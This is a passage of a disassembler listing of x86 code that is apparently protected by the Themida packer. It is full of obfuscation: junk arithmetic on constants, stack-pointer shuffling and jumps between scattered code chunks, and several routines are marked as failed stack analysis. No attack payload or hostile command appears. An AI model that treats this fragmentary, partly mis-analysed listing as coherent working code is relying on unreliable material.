; FUNCTION CHUNK AT 0059169A SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005916FB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059176C SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00592103 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00592762 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059315F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00593997 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00593ACD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00595C1F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00595D79 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00595F5E SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059661E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00596A91 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00596FEA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059742B SIZE 00000009 BYTES

		sub	esp, 4
		mov	[esp+10h+var_10], edx
		push	[esp+10h+var_C]
		pop	edx
		pop	[esp+10h+var_10]
		pop	esp
		sub	esp, 4
		mov	[esp+0Ch+var_C], esi
		jmp	loc_58E597
sub_596498	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_58AFD6
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	48A8h
		jmp	loc_58BFFE

; =============== S U B	R O U T	I N E =======================================



sub_5964CE	proc near		; CODE XREF: sub_596082+FB0j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00590748 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00595C49 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00597328 SIZE 0000001B BYTES

		sub	esp, 4
		mov	[esp+8+var_8], edi
		mov	edi, 0FA6F4FBCh
		sub	edx, edi
		pop	edi
		add	edi, edx
		push	[esp+4+var_4]
		pop	edx
		add	esp, 4
		movzx	eax, al
		jmp	loc_595C49
sub_5964CE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_5964ED:				; CODE XREF: sub_58E66C+38CDj
		xchg	eax, edx
		not	eax
		xchg	eax, edx
		shl	edx, 8
		jz	loc_592BFC
		jmp	loc_58C841
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_5964FF:				; CODE XREF: Themida_:00594DECj
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_59220E
; ---------------------------------------------------------------------------


loc_59650B:				; CODE XREF: Themida_:005911DEj
		add	bl, 2Bh
		sub	bl, 0D1h
		mov	ch, bl
		jmp	loc_591212
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_596518:				; CODE XREF: sub_5F45E7-6089Cj
		xor	cl, 0ECh
		add	cl, 0E0h
		jmp	loc_592663
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_596523:				; CODE XREF: sub_596082-203Aj
		add	di, 1
		add	di, 30C8h
		inc	di
		shl	di, 5
		sub	di, 6C7Ah
		push	bp
		mov	bp, 45A2h
		jmp	loc_595C05
; ---------------------------------------------------------------------------


loc_596542:				; CODE XREF: sub_596082-9CCFj
		pop	edi
		and	ecx, eax
		push	[esp+1Eh+var_20+2]
		jmp	loc_595732
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59236E


loc_59654D:				; CODE XREF: sub_59236E-533Dj
		add	eax, 4
		push	1CE7h
		mov	[esp+8+var_8], eax
		push	[esp+8+var_4]
		jmp	loc_591FB0
; END OF FUNCTION CHUNK	FOR sub_59236E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_596561:				; CODE XREF: sub_596082-956Dj
		push	0Ah
		push	[esp+1Ch+var_1C]
		jmp	loc_593301
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_59656E:				; CODE XREF: Themida_:0058EB3Dj
		add	edx, 51450AEAh
		pop	ebp
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_58C8ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_59658E:				; CODE XREF: sub_593009+1125j
		mov	ebp, 0FFFFFFFFh
		sub	[edi+24h], ebp
		mov	ebp, [esp-2Ch+arg_28]
		jmp	loc_594E84
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_59659E:				; CODE XREF: sub_58E66C-26BDj
		push	eax
		mov	eax, 64A21FF6h
		neg	eax
		inc	eax
		jmp	loc_58CB87
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5965AC:				; CODE XREF: sub_596082-81FAj
		mov	[esp+10h+var_10], ecx
		jmp	loc_58DE22
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5965B4:				; CODE XREF: Themida_:0058A77Cj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 59A91908h
		shl	eax, 2
		dec	eax
		xor	eax, 66A4641Bh
		add	ecx, eax
		pop	eax
		jmp	loc_594319
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BFA


loc_5965D6:				; CODE XREF: sub_595BFA-42B8j
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_595BFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5965DB:				; CODE XREF: sub_596082-2B3j
		add	esp, 4
		jmp	loc_58C20C
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		push	7727h
		mov	[esp], eax
		mov	eax, 6B093E41h
		jmp	loc_58C53C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592A4E


loc_5965F8:				; CODE XREF: sub_592A4E-6544j
		pop	ebx
		xor	dh, bh
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		add	al, dh
		pop	edx
		sub	al, 1
		jmp	loc_593AB0
; END OF FUNCTION CHUNK	FOR sub_592A4E
; ---------------------------------------------------------------------------


loc_59660E:				; CODE XREF: Themida_:005904CBj
		add	esp, 4
		add	ecx, edx
		mov	edx, [esp]
		jmp	loc_5961CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_59661E:				; CODE XREF: sub_596498-668Fj
		push	ecx
		mov	ecx, 2BB74DBFh
		add	ecx, 13D037BDh
		or	ecx, 590D63CFh
		jmp	loc_58B6DB
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E600


loc_596635:				; CODE XREF: sub_58E600-17DCj
		pop	esp
		xchg	esi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	[esp+4+var_4], edx
		jmp	loc_593493
; END OF FUNCTION CHUNK	FOR sub_58E600
; ---------------------------------------------------------------------------


loc_596644:				; CODE XREF: Themida_:0059359Ej
		neg	edi
		sub	edi, 0A6832955h
		xor	esi, edi
		pop	edi
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	[edi+1Ch], eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_59666C:				; CODE XREF: sub_58E66C+2268j
		mov	edi, ecx
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		dec	edi
		jns	loc_5967A9
		shr	edi, 2
		jmp	loc_58B08D
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, esp
		mov	ebp, eax
		pop	ebx
		mov	ax, [esp]
		jmp	loc_58C360
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AE7C


loc_596692:				; CODE XREF: Themida_:0058BA16j
					; sub_58AE7C+9F8Aj
		push	esi
		mov	esi, 2F462CEBh
		add	edi, 55A21D3Fh
		sub	edi, esi
		jmp	loc_58B42C
; END OF FUNCTION CHUNK	FOR sub_58AE7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5966A5:				; CODE XREF: sub_596082-B90Fj
		pop	edx
		add	ebp, ecx
		sub	ebp, 2C893B91h
		jmp	loc_590121
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_5966B3:				; CODE XREF: sub_5F45E7-681D6j
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F3F


loc_5966B8:				; CODE XREF: sub_594F3F-7D32j
		sub	eax, 820004Bh
		push	21ADh
		jmp	loc_593D62
; END OF FUNCTION CHUNK	FOR sub_594F3F
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_58CCF8
; ---------------------------------------------------------------------------


loc_5966CD:				; CODE XREF: Themida_:00594F6Dj
		pop	edx
		pop	ecx
		pop	ebx
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, offset word_5FE06A
		push	7634h
		mov	[esp], ebp
		push	341A4F53h
		pop	ebp
		add	ebp, 0CCBBEB68h
		xor	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edx
		jmp	loc_58AC6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_596718:				; CODE XREF: sub_58E66C-1527j
		add	edx, 4
		xchg	edx, [esp+2+var_4+2]
		pop	esp
		shr	ecx, 0
		jmp	loc_590811
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_59672A:				; CODE XREF: sub_596082-4EAj
		shl	byte ptr [esp-4+arg_0],	cl
		pushf
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_596733:				; CODE XREF: sub_58E66C-25E0j
		sub	ecx, 4
		jmp	loc_58F02F
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_59673E:				; CODE XREF: Themida_:0058AC52j
		sub	esi, 5FCC480Ah
		push	0
		push	dword ptr [esp]
		jmp	loc_59211A
; ---------------------------------------------------------------------------


loc_596751:				; CODE XREF: Themida_:005927ACj
		sub	edx, 2302C4Eh
		jmp	loc_58ED40
; ---------------------------------------------------------------------------


loc_59675C:				; CODE XREF: Themida_:005953BEj
		inc	ebp
		add	ebp, 0AC5F9622h
		sub	eax, ebp
		pop	ebp
		sub	eax, 0C8E6482h
		jmp	loc_58F49E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_596770:				; CODE XREF: sub_58E66C+35B8j
		mov	edi, esp
		add	edi, 4
		push	ecx
		jmp	loc_595F80
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_59677E:				; CODE XREF: Themida_:0058B46Aj
		shl	esi, 1
		xor	esi, 0D9C2C44Bh
		mov	ebx, esi
		pop	esi
		add	ebx, 6FEC60FDh
		add	ebx, edi
		sub	ebx, 6FEC60FDh
		pop	edi
		add	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_58E90A
; ---------------------------------------------------------------------------


loc_5967A2:				; CODE XREF: Themida_:0058B7FAj
		mov	edx, esi
		jmp	loc_593CE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_5967A9:				; CODE XREF: sub_58E66C+8009j
		shr	edi, 2
		jmp	loc_592312
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_5967B1:				; CODE XREF: Themida_:00591CDAj
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_592423
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5967C7:				; CODE XREF: sub_596082-3030j
		sub	ecx, 6D437FAh
		mov	ebx, ecx
		jmp	loc_58EDE5
; END OF FUNCTION CHUNK	FOR sub_596082

; =============== S U B	R O U T	I N E =======================================



sub_5967D4	proc near		; CODE XREF: sub_5964CE-5D7Ej

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058A9AA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058BEE3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058F2B2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005903CF SIZE 0000002E BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 52924921h
		jmp	loc_58A9AA
sub_5967D4	endp

; ---------------------------------------------------------------------------


loc_5967E4:				; CODE XREF: Themida_:0058FBFAj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	esi
		mov	esi, 4
		jmp	loc_58C947
; ---------------------------------------------------------------------------


loc_5967FA:				; CODE XREF: Themida_:00593283j
		mov	[esp], edi
		mov	edi, 2
		sub	ecx, 4BDA23CCh
		add	ecx, 6D8769E5h
		add	ecx, 55D74B4Ah
		jmp	loc_58FB41
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_58D491
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_596821:				; CODE XREF: sub_58E66C+5857j
		pop	eax
		jmp	loc_5939B3
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5925A4


loc_596827:				; CODE XREF: sub_5925A4:loc_5901BAj
		jmp	loc_5905E2
; END OF FUNCTION CHUNK	FOR sub_5925A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592153


loc_59682C:				; CODE XREF: sub_592153+1j
		mov	ebx, 4
		add	[esp+6+var_4+2], ebx
		pop	ebx
		jmp	loc_58C71F
; END OF FUNCTION CHUNK	FOR sub_592153
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F3F


loc_59683B:				; CODE XREF: sub_594F3F-6F26j
		and	eax, 632D6CE8h
		add	eax, 55F42611h
		jle	loc_595E59
		neg	eax
		jmp	loc_595FEE
; END OF FUNCTION CHUNK	FOR sub_594F3F
; ---------------------------------------------------------------------------


loc_596852:				; CODE XREF: Themida_:0058EC9Ej
		push	ecx
		jmp	loc_58D6D2
; ---------------------------------------------------------------------------


loc_596858:				; CODE XREF: Themida_:0059729Aj
		push	esi
		jmp	loc_59427F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F3F


loc_59685E:				; CODE XREF: sub_594F3F-497j
		push	edi
		mov	edi, 4
		add	esi, 493578EFh
		jmp	loc_592D32
; END OF FUNCTION CHUNK	FOR sub_594F3F
; ---------------------------------------------------------------------------


loc_59686F:				; CODE XREF: Themida_:00597833j
		push	edx
		push	ecx
		mov	ch, 46h
		jmp	loc_58EFE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D6A0


loc_596878:				; CODE XREF: sub_58D6A0+6A81j
		sub	ecx, 0ADEFEFFBh
		add	esi, ecx
		jmp	loc_596D47
; END OF FUNCTION CHUNK	FOR sub_58D6A0
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	cx
		jmp	loc_594CCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BC4


loc_59688F:				; CODE XREF: sub_596BC4+Ej
		not	ebp
		xor	ebp, 0C74DE664h
		jmp	loc_58E886
; END OF FUNCTION CHUNK	FOR sub_596BC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_59689C:				; CODE XREF: sub_596082-5C69j
					; sub_596082-3355j
		mov	ebx, 0D5810506h
		add	ebx, edi
		pop	edi
		push	ecx
		mov	ecx, 673F62C8h
		sub	ebx, ecx
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_58F69F
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5968C1:				; CODE XREF: Themida_:0059145Fj
		push	small word ptr [eax]
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_5968C9:				; CODE XREF: Themida_:0058F752j
		add	eax, 4
		push	205Eh
		mov	[esp], edi
		push	ecx
		mov	ecx, 5D9064D1h
		mov	edi, 5D9064D3h
		sub	edi, ecx
		pop	ecx
		sub	eax, 537E6FA8h
		add	eax, edi
		push	edi
		mov	edi, 5EBC1C55h
		inc	edi
		xor	edi, 0DC273FEh
		add	eax, edi
		pop	edi
		mov	edi, [esp]
		add	esp, 4
		push	eax
		jmp	loc_5953A2
; ---------------------------------------------------------------------------


loc_596907:				; CODE XREF: Themida_:005911A4j
		sub	ecx, ebp
		pop	ebp
		pop	eax
		sub	ebp, 41BC3503h
		add	ebp, ecx
		add	ebp, 41BC3503h
		pop	ecx
		add	ebp, 4
		jmp	loc_58B46F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_596925:				; CODE XREF: sub_596082-F3Dj
		add	bx, 6C5Ch
		mov	si, bx
		jmp	loc_5974D6
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_596932:				; CODE XREF: sub_58E66C-18CFj
		and	ebx, 556D184Dh
		inc	ebx
		push	eax
		mov	eax, 602B5765h
		not	eax
		add	eax, 12A82A11h
		jmp	loc_5919CB
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_59694B:				; CODE XREF: Themida_:005922C4j
		pop	cx
		jmp	loc_5900E3
; ---------------------------------------------------------------------------


loc_596952:				; CODE XREF: Themida_:00591DDAj
		add	edi, 2
		xchg	edi, [esp]
		mov	esp, [esp]
		or	[esp], al
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_596967:				; CODE XREF: Themida_:0058CDFDj
		pop	eax
		sub	esi, 1A25490Fh
		sub	esi, ebx
		add	esi, 1A25490Fh
		push	edi
		mov	edi, 6DD4741Bh
		xor	edi, 3B634D00h
		not	edi
		sub	edi, 3C6D3DBFh
		jmp	loc_591AD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BF6


loc_59698F:				; CODE XREF: sub_596BF6-761Dj
		push	dword ptr [esp+0]
		pop	edi
		add	esp, 4
		add	ebx, 5F121C80h
		add	ebx, eax
		jmp	sub_59425A
; END OF FUNCTION CHUNK	FOR sub_596BF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596B50


loc_5969A6:				; CODE XREF: sub_596B50-6633j
		push	edx
		mov	edx, 5652E2Dh
		jmp	loc_58BCFC
; END OF FUNCTION CHUNK	FOR sub_596B50
; ---------------------------------------------------------------------------


loc_5969B1:				; CODE XREF: Themida_:0058F8B1j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_596A01
; ---------------------------------------------------------------------------


loc_5969C2:				; CODE XREF: Themida_:0058C018j
		not	edx
		sub	edx, 0C68E997Bh
		sub	esi, edx
		mov	edx, [esp]
		add	esp, 4
		xor	eax, esi
		pop	esi
		xor	ebx, eax
		movzx	ax, byte ptr [eax]
		push	small 3EF0h
		jmp	loc_5901B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5969E4:				; CODE XREF: sub_596082-6D94j
		mov	ebx, 7B5F08F9h
		jmp	loc_593263
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5969EE:				; CODE XREF: Themida_:0058D691j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		push	ebx
		jmp	loc_591E0A
; ---------------------------------------------------------------------------


loc_596A01:				; CODE XREF: Themida_:005969BDj
		xchg	ebp, [esp]
		pop	esp
		xchg	esi, [esp]
		pop	esp
		xor	[esp], al
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_596A12:				; CODE XREF: Themida_:0058BC0Dj
		add	ebp, ebx
		pop	ebx
		sub	eax, 72693038h
		sub	eax, ebp
		jmp	loc_5924DB
; ---------------------------------------------------------------------------


loc_596A21:				; CODE XREF: Themida_:005954DFj
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_58B267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596B50


loc_596A31:				; CODE XREF: sub_596B50-B1AAj
		pop	ebp
		add	edx, 4
		xchg	edx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]


loc_596A3E:				; CODE XREF: sub_58E66C-24F7j
		sub	esp, 4
		mov	[esp+0], ebp
		mov	ebp, ebx
		mov	eax, ebp
		mov	ebp, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 6D51268Bh
		push	edi
		mov	edi, 60470C06h
		xor	edi, 68757632h
		jmp	loc_596CFA
; END OF FUNCTION CHUNK	FOR sub_596B50
; ---------------------------------------------------------------------------


loc_596A6D:				; CODE XREF: Themida_:00597764j
		jmp	loc_58EA1E
; ---------------------------------------------------------------------------


loc_596A72:				; CODE XREF: Themida_:0059141Aj
		pop	edi
		sub	ebp, edx
		pop	edx
		mov	ebx, ebp
		push	dword ptr [esp]
		jmp	loc_58DBF1
; ---------------------------------------------------------------------------


loc_596A80:				; CODE XREF: Themida_:00596E23j
		sub	edi, 353B2318h
		or	edi, 758F70D5h
		jmp	loc_58D00E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_596A91:				; CODE XREF: sub_596498-7EE3j
		not	ecx
		xchg	ecx, [esp+8+var_8]
		pop	ecx
		xchg	ecx, esi
		push	ebp
		mov	ebp, 9F36AD0Fh
		xor	esi, ebp
		pop	ebp
		add	esi, 0B0758B2Bh
		jmp	loc_590B63
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D90C


loc_596AAD:				; CODE XREF: sub_58D90C+Bj
		push	eax
		mov	eax, 58E43E5Bh
		or	eax, 187E27B5h
		jmp	loc_59073E
; END OF FUNCTION CHUNK	FOR sub_58D90C
; ---------------------------------------------------------------------------


loc_596ABD:				; CODE XREF: Themida_:005923A7j
		xor	eax, ebx
		mov	ebx, [esp]
		push	3F9Eh
		mov	[esp], esi
		push	esp
		jmp	loc_590145
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594EC6


loc_596AD8:				; CODE XREF: sub_594EC6-94C9j
		mov	esi, edx
		pop	edx
		push	eax
		mov	eax, 4C262FBCh
		mov	edx, eax
		pop	eax
		jmp	loc_592A56
; END OF FUNCTION CHUNK	FOR sub_594EC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_596AE9:				; CODE XREF: sub_5F45E7-637BBj
		pop	esp
		sub	esp, 4
		mov	[esp+2Ch+var_2C], ecx
		jmp	loc_597383
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_596AF5:				; CODE XREF: Themida_:0059332Aj
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_596AFA:				; CODE XREF: Themida_:0058AC1Aj
		push	eax
		mov	eax, 4
		add	edi, eax
		jmp	loc_58FBE9
; ---------------------------------------------------------------------------


loc_596B07:				; CODE XREF: Themida_:00596FCDj
		mov	eax, 38DD0EC4h
		push	ebx
		push	0C06468Dh
		pop	ebx
		and	eax, ebx
		pop	ebx
		shr	eax, 2
		xor	eax, 20101A5h
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_596BB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5925A4


loc_596B31:				; CODE XREF: sub_5925A4-3413j
		push	esp
		pop	[esp+0Ch+var_E+2]
		jmp	sub_592153
; END OF FUNCTION CHUNK	FOR sub_5925A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_596B3A:				; CODE XREF: sub_58E66C+ACFj
		pop	dword ptr [edi+24h]
		pop	esi
		xor	edx, edx
		push	5763h
		mov	[esp+0], ebx
		mov	eax, [esp+0]
		jmp	sub_58A50F
; END OF FUNCTION CHUNK	FOR sub_58E66C

; =============== S U B	R O U T	I N E =======================================



sub_596B50	proc near		; CODE XREF: sub_5F45E7:loc_58C0BAj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0058B99E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058BCFC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058CC02 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058D656 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058E036 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058E8BC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005904EE SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0059481F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059584B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059589C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005969A6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00596A31 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 00596CFA SIZE 00000019 BYTES

		push	ebx
		mov	ebx, 0F944860Dh
		add	esi, ebx
		jmp	loc_59589C
sub_596B50	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_596B5D:				; CODE XREF: sub_58E66C+4E22j
		pop	ecx
		xor	ebp, [esp+18h+var_18]
		xor	[esp+18h+var_18], ebp
		xor	ebp, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		jmp	loc_58AA23
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_596B6F:				; CODE XREF: Themida_:0058B833j
		jmp	loc_590D34
; ---------------------------------------------------------------------------


loc_596B74:				; CODE XREF: Themida_:00594834j
		pop	edx
		push	esi
		push	519Dh
		mov	[esp], eax
		mov	eax, 3C1C24C7h
		mov	esi, eax
		pop	eax
		push	eax
		mov	eax, 3C1C24C5h
		sub	esi, eax
		pop	eax
		jmp	loc_59209B
; ---------------------------------------------------------------------------


loc_596B94:				; CODE XREF: Themida_:0058B707j
		add	ebp, edi
		add	ebp, 68724B89h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5920FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594EC6


loc_596BA7:				; CODE XREF: sub_594EC6+1Dj
		pop	edi
		mov	ebp, ebx
		pop	ebx
		and	eax, ebp
		jmp	loc_58E94E
; END OF FUNCTION CHUNK	FOR sub_594EC6
; ---------------------------------------------------------------------------


loc_596BB2:				; CODE XREF: Themida_:00594EBBj
					; Themida_:00596B2Cj
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_593320

; =============== S U B	R O U T	I N E =======================================



sub_596BC4	proc near		; CODE XREF: sub_596082-7801j
					; Themida_:005933F8j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058B949 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058C338 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058E886 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058F9A4 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005908C0 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059093A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00591981 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00592724 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00593B94 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059450A SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0059688F SIZE 0000000D BYTES

		push	ebp
		mov	ebp, 44A55E82h
		not	ebp
		and	ebp, 4D93628Dh
		jmp	loc_59688F
sub_596BC4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_596BD7:				; CODE XREF: sub_593009-3882j
		pop	edx
		jmp	loc_597663
; ---------------------------------------------------------------------------


loc_596BDD:				; CODE XREF: sub_593009+7EDj
		add	esi, 1D93401Bh
		add	esi, edx
		push	edi
		jmp	loc_591124
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------


